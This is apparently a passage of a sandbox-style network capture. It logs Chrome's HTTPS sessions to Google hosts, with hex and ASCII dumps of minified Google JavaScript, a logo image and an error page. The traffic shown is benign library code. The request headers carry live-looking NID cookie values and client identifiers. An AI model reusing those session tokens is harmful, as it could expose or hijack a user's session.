2024-11-14 19:43:06 UTC	1378	IN	Data Raw: 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f Data Ascii: or("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));fo
2024-11-14 19:43:06 UTC	1378	IN	Data Raw: 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 Data Ascii: r h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return t
2024-11-14 19:43:06 UTC	1378	IN	Data Raw: 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 73 Data Ascii: e=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();this
2024-11-14 19:43:06 UTC	1378	IN	Data Raw: 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 Data Ascii: pe.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)r
2024-11-14 19:43:07 UTC	1378	IN	Data Raw: 2b 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 Data Ascii: +9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49810	142.250.186.164	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:06 UTC	704	OUT	GET /images/branding/googlelogo/1x/googlelogo_color_150x54dp.png HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
2024-11-14 19:43:06 UTC	671	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Type: image/png Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="static-on-bigtable" Report-To: {"group":"static-on-bigtable","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/static-on-bigtable"}]} Content-Length: 3170 Date: Thu, 14 Nov 2024 19:43:06 GMT Expires: Thu, 14 Nov 2024 19:43:06 GMT Cache-Control: private, max-age=31536000 Last-Modified: Tue, 22 Oct 2019 18:30:00 GMT X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-14 19:43:06 UTC	707	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 36 08 06 00 00 00 25 1d 60 0c 00 00 0c 29 49 44 41 54 78 da ed 5d 0b 70 54 d5 19 3e 98 6c 00 1f 88 da 97 b5 82 62 ad 14 28 48 76 37 20 44 37 f7 6e 08 38 83 a2 a5 b4 56 ab a5 48 5f 82 52 3b 53 1f 68 59 60 77 13 28 b6 d5 2a b6 4e 5f 52 ab 22 30 60 a9 2d e6 41 a9 1d 7c b4 2a 4e c5 fa 60 b0 a8 80 ec 6e 02 84 7b ef 26 90 84 6c ff 6f e0 0e 3b 9b ff de bd 8f 84 61 9a f3 cd 9c d9 64 ef dd 24 e7 f0 9d ff f1 fd ff b9 08 09 09 09 89 fe 89 e9 b1 dc e9 4a 9d 31 ae 2a 91 9d a1 d4 1a 37 2b 09 63 8e 9a d4 6f a0 a1 54 2f cf 7e 56 e4 72 03 84 84 84 13 44 eb da 47 a8 49 63 11 91 e7 e5 aa b8 d6 45 5f e7 ac 46 55 52 db a3 26 f4 df 55 25 8c a9 b1 58 ee 34 21 21 51 88 48 22 3b 91 c8 f4 1c 08 e3 65 28 49 63 07 Data Ascii: PNGIHDR6%`)IDATx]pT>lb(Hv7 D7n8VH_R;ShY`w(N_R"0`-A\|N`n{&lo;ad$J1*7+coT/~VrDGIcE_FUR&U%X4!!QH";e(Ic
2024-11-14 19:43:06 UTC	1378	IN	Data Raw: b8 2f b7 45 0c f2 e2 21 88 48 cb 20 df d8 08 c8 2f 44 6b db ae 38 9e 54 fd 99 be 7f 2b 7f f8 25 56 73 34 14 ce 44 43 1b 52 d1 60 a7 f5 5a 06 df c2 e6 05 c1 bc 0a a2 1f 30 13 5b 29 4e 21 a4 ab 83 95 19 25 fc 3e 26 ec 62 ec 24 92 4d 12 0e d1 d1 50 1a 21 c2 fc 97 21 92 1d c1 de 27 4b 76 a5 e3 b5 4e 64 af a1 b5 6d 76 52 fa 3a 96 4c e9 0b e8 eb 77 0b af 79 25 d6 8e 69 9f 1f 48 eb f2 b0 bb 75 0c d5 ef 89 86 cf 73 dd 53 65 31 b1 5b c5 29 02 22 c7 cd 29 25 d8 85 49 ba 1d d8 91 f8 bc 28 82 23 4d 81 d9 34 ba 40 16 b7 03 9f 23 17 f9 cd e2 1b 58 9f e7 84 50 3c c1 fc 13 6b df 94 b1 67 a4 95 f0 16 4f eb a8 86 df 49 a9 13 3e 2d 9c 02 a2 27 1f 5f e9 51 e1 12 54 ea 79 0f 3d 5a 9e 47 52 7b 5d 14 80 26 74 7d 2a 1a ee c6 e4 bc 8e 94 12 3e 4a 04 9b 21 2c d0 d9 58 36 f3 48 43 Data Ascii: /E!H /Dk8T+%Vs4DCR`Z0[)N!%>&b$MP!!'KvNdmvR:Lwy%iHusSe1[)")%I(#M4@#XP<kgOI>-'_QTy=ZGR{]&t}*>J!,X6HC
2024-11-14 19:43:06 UTC	1085	IN	Data Raw: d1 32 23 1c 00 ad 4b 7d 21 37 c0 72 a7 aa c3 51 27 9d 0b b8 a7 68 d0 ee ab 50 1a 37 9a 50 9e f0 62 0d d1 67 44 a4 6d b3 e8 52 9d 27 0a 80 0c 90 57 cf 83 f3 85 03 40 9a e0 3e 0f 51 30 cf 8d 8d 03 11 18 1d ea 36 e1 00 74 df 9d 6c 69 a7 3e 30 e6 84 85 36 ca 2d d6 73 a1 28 82 e0 63 b9 00 e9 89 af f4 89 40 0a 0f a0 56 28 a2 38 b0 c9 6f 43 dc d5 5c 13 1c e9 cf 25 26 8c 47 6d ca 2e 59 22 c2 4f 6a e2 6d 17 8a 22 40 f0 8a 62 36 7a 8b ac 7f 9e be d1 aa ac 01 cd 89 31 dd 5d e8 11 2a a2 5f cd c6 7d 4c 91 f5 2f 8c 5c d0 c8 65 75 d4 ad 60 2b 09 a0 9b 81 eb 86 a0 f7 36 89 02 70 f3 c7 b9 4d 25 ae 7f dd f6 54 53 42 fb 83 df 92 8e 29 2b c0 42 31 e4 6a a6 8e 85 b1 c2 06 a8 bf a2 62 61 66 d4 10 4f 1d 5a 2f 9e 10 78 4a 4c d1 56 8e b8 b1 15 19 0b 74 19 f4 c6 a3 be 88 7e 23 fa Data Ascii: 2#K}!7rQ'hP7PbgDmR'W@>Q06tli>06-s(c@V(8oC\%&Gm.Y"Ojm"@b6z1]*_}L/\eu`+6pM%TSB)+B1jbafOZ/xJLVt~#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49813	142.250.186.142	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:06 UTC	674	OUT	GET /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
2024-11-14 19:43:07 UTC	270	IN	HTTP/1.1 400 Bad Request Date: Thu, 14 Nov 2024 19:43:07 GMT Content-Type: text/html; charset=UTF-8 Server: Playlog Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-14 19:43:07 UTC	1108	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-
2024-11-14 19:43:07 UTC	447	IN	Data Raw: 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 30 30 25 20 31 30 30 25 7d 7d 23 6c 6f 67 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 35 34 70 78 3b 77 69 64 74 68 3a 31 35 30 70 78 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 61 20 68 72 65 66 3d 2f 2f 77 77 77 2e 67 6f 6f 67 6c Data Ascii: -min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.googl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49815	142.250.184.238	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:06 UTC	822	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=client/exm=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_1 HTTP/1.1 Host: apis.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
2024-11-14 19:43:07 UTC	915	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 208991 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Thu, 14 Nov 2024 16:28:34 GMT Expires: Fri, 14 Nov 2025 16:28:34 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 11673 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-14 19:43:07 UTC	463	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 31 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 7a 67 3d 28 77 69 6e 64 6f 77 2e 67 61 70 69 7c 7c 7b 7d 29 2e 6c 6f 61 64 3b 0a 5f 2e 52 6e 3d 5f 2e 78 65 28 5f 2e 49 65 2c 22 72 77 22 2c 5f 2e 79 65 28 29 29 3b 0a 76 61 72 20 53 6e 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 28 61 3d 5f 2e 52 6e 5b 61 5d 29 26 26 61 2e 73 74 61 74 65 3c 62 26 26 28 61 2e 73 74 61 74 65 3d 62 29 7d 3b 76 61 72 20 54 6e 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 28 61 3d 5f 2e 52 6e 5b 61 5d 29 3f 61 2e 6f 69 64 3a 76 6f 69 64 20 30 3b 69 66 28 61 29 7b 76 61 72 20 62 3d 5f 2e 75 65 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 3b 62 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 Data Ascii: gapi.loaded_1(function(_){var window=this;_.zg=(window.gapi\|\|{}).load;_.Rn=_.xe(_.Ie,"rw",_.ye());var Sn=function(a,b){(a=_.Rn[a])&&a.state<b&&(a.state=b)};var Tn=function(a){a=(a=_.Rn[a])?a.oid:void 0;if(a){var b=_.ue.getElementById(a);b&&b.parentNode
2024-11-14 19:43:07 UTC	1378	IN	Data Raw: 69 64 74 68 3a 22 2b 28 62 3f 62 2b 22 70 78 22 3a 61 2e 73 74 79 6c 65 2e 77 69 64 74 68 7c 7c 22 33 30 30 70 78 22 29 2b 22 3b 6d 61 72 67 69 6e 3a 30 70 78 3b 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 6e 6f 6e 65 3b 22 7d 3b 0a 5f 2e 57 6e 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 3d 7b 7d 2c 64 3d 61 2e 79 63 28 29 2c 65 3d 62 26 26 62 2e 77 69 64 74 68 2c 66 3d 62 26 26 62 2e 68 65 69 67 68 74 2c 68 3d 62 26 26 62 2e 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3b 68 26 26 28 63 2e 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3d 68 29 3b 65 7c 7c 28 65 3d 64 2e 77 69 64 74 68 7c 7c 61 2e 77 69 64 74 68 29 3b 66 7c 7c 28 66 3d 64 2e 68 65 69 67 68 74 7c 7c 61 2e 68 65 69 67 68 74 29 3b 64 2e 77 69 64 74 68 3d 63 2e 77 69 64 74 68 3d 65 3b 64 2e 68 Data Ascii: idth:"+(b?b+"px":a.style.width\|\|"300px")+";margin:0px;border-style:none;"};_.Wn=function(a,b){var c={},d=a.yc(),e=b&&b.width,f=b&&b.height,h=b&&b.verticalAlign;h&&(c.verticalAlign=h);e\|\|(e=d.width\|\|a.width);f\|\|(f=d.height\|\|a.height);d.width=c.width=e;d.h
2024-11-14 19:43:07 UTC	1378	IN	Data Raw: 29 3b 5f 2e 58 6e 28 74 68 69 73 29 7d 3b 61 2e 6f 6e 43 72 65 61 74 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 3d 65 2e 67 65 74 49 66 72 61 6d 65 45 6c 28 29 3b 65 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 3d 5f 2e 56 6e 28 65 29 7d 7d 3b 0a 5f 2e 53 69 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 77 69 6e 64 6f 77 3b 61 3d 28 61 7c 7c 62 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 2e 6d 61 74 63 68 28 52 65 67 45 78 70 28 22 2e 2a 28 5c 5c 3f 7c 23 7c 26 29 75 73 65 67 61 70 69 3d 28 5b 5e 26 23 5d 2b 29 22 29 29 7c 7c 5b 5d 3b 72 65 74 75 72 6e 22 31 22 3d 3d 3d 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 61 5b 61 2e 6c 65 6e 67 74 68 2d 31 5d 7c 7c 22 22 29 7d 3b 0a 5f 2e 5a 6e 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b Data Ascii: );_.Xn(this)};a.onCreate=function(e){e=e.getIframeEl();e.style.cssText=_.Vn(e)}};_.Si=function(a){var b=window;a=(a\|\|b.location.href).match(RegExp(".*(\\?\|#\|&)usegapi=([^&#]+)"))\|\|[];return"1"===decodeURIComponent(a[a.length-1]\|\|"")};_.Zn=function(a,b){
2024-11-14 19:43:07 UTC	1378	IN	Data Raw: 2d 73 69 67 6e 69 6e 2d 22 29 29 7b 63 3d 63 2e 73 75 62 73 74 72 69 6e 67 28 31 34 29 3b 76 61 72 20 64 3d 61 5b 62 5d 2e 63 6f 6e 74 65 6e 74 3b 5f 2e 6c 6f 5b 63 5d 26 26 64 26 26 28 5f 2e 61 6f 5b 63 5d 3d 64 29 7d 7d 69 66 28 77 69 6e 64 6f 77 2e 73 65 6c 66 21 3d 3d 77 69 6e 64 6f 77 2e 74 6f 70 29 7b 61 3d 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 74 6f 53 74 72 69 6e 67 28 29 3b 66 6f 72 28 76 61 72 20 65 20 69 6e 20 5f 2e 6c 6f 29 5f 2e 6c 6f 5b 65 5d 3e 30 26 26 28 62 3d 5f 2e 43 65 28 61 2c 65 2c 22 22 29 29 26 26 28 5f 2e 61 6f 5b 65 5d 3d 62 29 7d 5f 2e 6d 6f 3d 21 30 7d 65 3d 5f 2e 79 65 28 29 3b 5f 2e 41 65 28 5f 2e 61 6f 2c 65 29 3b 72 65 74 75 72 6e 20 65 7d 3b 6f 6f 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3b 61 Data Ascii: -signin-")){c=c.substring(14);var d=a[b].content;_.lo[c]&&d&&(_.ao[c]=d)}}if(window.self!==window.top){a=document.location.toString();for(var e in _.lo)_.lo[e]>0&&(b=_.Ce(a,e,""))&&(_.ao[e]=b)}_.mo=!0}e=_.ye();_.Ae(_.ao,e);return e};oo=function(a){var b;a
2024-11-14 19:43:07 UTC	1378	IN	Data Raw: 79 65 28 29 2c 63 3d 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 69 6e 64 65 78 4f 66 28 22 67 3a 22 29 21 3d 30 2c 64 3d 61 2e 61 74 74 72 69 62 75 74 65 73 2e 6c 65 6e 67 74 68 2c 65 3d 30 3b 65 3c 64 3b 65 2b 2b 29 7b 76 61 72 20 66 3d 61 2e 61 74 74 72 69 62 75 74 65 73 5b 65 5d 2c 68 3d 66 2e 6e 61 6d 65 2c 6b 3d 66 2e 76 61 6c 75 65 3b 5f 2e 75 6d 2e 63 61 6c 6c 28 44 6f 2c 68 29 3e 3d 30 7c 7c 63 26 26 68 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 22 29 21 3d 30 7c 7c 6b 3d 3d 3d 22 6e 75 6c 6c 22 7c 7c 22 73 70 65 63 69 66 69 65 64 22 69 6e 20 66 26 26 21 66 2e 73 70 65 63 69 66 69 65 64 7c 7c 28 63 26 26 28 68 3d 68 2e 73 75 62 73 74 72 28 35 29 29 2c 62 5b 68 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 3d 6b 29 Data Ascii: ye(),c=a.nodeName.toLowerCase().indexOf("g:")!=0,d=a.attributes.length,e=0;e<d;e++){var f=a.attributes[e],h=f.name,k=f.value;_.um.call(Do,h)>=0\|\|c&&h.indexOf("data-")!=0\|\|k==="null"\|\|"specified"in f&&!f.specified\|\|(c&&(h=h.substr(5)),b[h.toLowerCase()]=k)
